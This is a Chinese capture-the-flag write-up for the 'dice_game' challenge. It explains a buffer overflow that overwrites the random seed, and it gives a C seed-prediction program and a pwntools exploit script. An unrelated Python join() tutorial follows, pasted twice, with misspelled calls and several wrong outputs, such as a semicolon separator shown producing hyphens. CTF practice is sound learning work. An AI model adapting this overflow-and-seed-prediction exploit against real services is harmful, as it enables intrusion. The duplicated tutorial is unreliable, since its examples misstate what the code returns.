功防世界dice_game python中的join()函数的用法

buf 长度最长为 0x50 但是当输入大于 49 的时候不会被截断,所以我们只要覆盖到之前的 seed 就可以为所欲为了。

同时注意到 seed 跟 buf 相差的偏移是 0x40,所以只要 68 个字符就可以溢出覆盖 seed 了。

Exploit

由于担心 python 的 randint 实现跟 libc 的不太一样,所以我写了个小程序

在vim编译运行.c文件步骤:

1. vim filename.c

2. gcc filename.c -o newfilename

3. ./newfilename

#include<stdio.h>
#include<stdlib.h>
int main(){
srand(0xFFFFFFFF);
for(int i = 0;i < 50 ;i ++)
printf("%d,",rand()%6 + 1);
printf("\n");
}


然后根据这个程序的输出构造 Exploit 脚本
from pwn import *
r = remote('ip', port)
nums = [4,5,5,4,3,1,5,4,3,3,5,4,1,2,2,4,5,4,6,1,4,5,6,4,5,4,2,4,2,5,1,5,3,5,1,5,3,3,2,5,3,4,6,3,3,1,5,2,2,2]
exp = ''.join([ '\xFF' for i in xrange(68)])
r.sendline(exp)
for i in nums:
r.sendline(str(i))
r.interactive()

xrange与range的区别:xrange生成一个生成器,range生成一个数组
>>>xrange(8)
xrange(8)
>>> list(xrange(8))
[0, 1, 2, 3, 4, 5, 6, 7]
>>> range(8) # range 使用
[0, 1, 2, 3, 4, 5, 6, 7]

python中的join()函数的用法

Python中有.join()和os.path.join()两个函数,具体作用如下:

   . join():连接字符串数组。将字符串、元组、列表中的元素以指定的字符(分隔符)连接生成一个新的字符串
    os.path.join():  将多个路径组合后返回

>>#对序列进行操作(分别使用'  ' 、' - '与':'作为分隔符)

 >> a=['1','2','3','4','5']

>> '  '.join(a)

1 2 3 4 5

>>';'.jion(a)

1-2-3-4-5

>>'.'.join(a)

1.2.3.4.5

>>#对字符串进行操作(分别使用'  ' 、' - '与':'作为分隔符)

>>b='hello world'

>> '  '.join(b)

h e l l o   w o r l d

>>'-' .join(b)

h-e-l-l-o- -w-o-r-l-d

>>':'.jion(b)

h:e:l:l:o: :w:o:r:l:d

>>#对元组进行操作(分别使用'  ' 、' - '与':'作为分隔符)

>>c=('1','2','3','4','5')

>>'  '.join(c)

1 2 3 4 5

>>'-'.join(c)

1-2-3-4-5

>>':'.join(c)

1:2:3:4:5

>>#对字典进行无序操作(分别使用'  ' 、' - '与':'作为分隔符)

>>d={'name1':'a','name2':'b','name3':'c','name4':'d'}

>>'  '.jion(d)

name1 name2 name3 name4

>>'-'.join(d)
name1-name2-name3-name4

>>':'.join(d)

name1:name2:name3:name4

>>#对目录进行操作

>> import os

>>os.path.join('/hello/','good/date','datbody')

hello/good/date/datbody

 

Python中有.join()和os.path.join()两个函数,具体作用如下:

   . join():连接字符串数组。将字符串、元组、列表中的元素以指定的字符(分隔符)连接生成一个新的字符串
    os.path.join():  将多个路径组合后返回

>>#对序列进行操作(分别使用'  ' 、' - '与':'作为分隔符)

 >> a=['1','2','3','4','5']

>> '  '.join(a)

1 2 3 4 5

>>';'.jion(a)

1-2-3-4-5

>>'.'.join(a)

1.2.3.4.5

>>#对字符串进行操作(分别使用'  ' 、' - '与':'作为分隔符)

>>b='hello world'

>> '  '.join(b)

h e l l o   w o r l d

>>'-' .join(b)

h-e-l-l-o- -w-o-r-l-d

>>':'.jion(b)

h:e:l:l:o: :w:o:r:l:d

>>#对元组进行操作(分别使用'  ' 、' - '与':'作为分隔符)

>>c=('1','2','3','4','5')

>>'  '.join(c)

1 2 3 4 5

>>'-'.join(c)

1-2-3-4-5

>>':'.join(c)

1:2:3:4:5

>>#对字典进行无序操作(分别使用'  ' 、' - '与':'作为分隔符)

>>d={'name1':'a','name2':'b','name3':'c','name4':'d'}

>>'  '.jion(d)

name1 name2 name3 name4

>>'-'.join(d)
name1-name2-name3-name4

>>':'.join(d)

name1:name2:name3:name4

>>#对目录进行操作

>> import os

>>os.path.join('/hello/','good/date','datbody')

hello/good/date/datbody

猜你喜欢

转载自www.cnblogs.com/ctf-pwn-player/p/10806992.html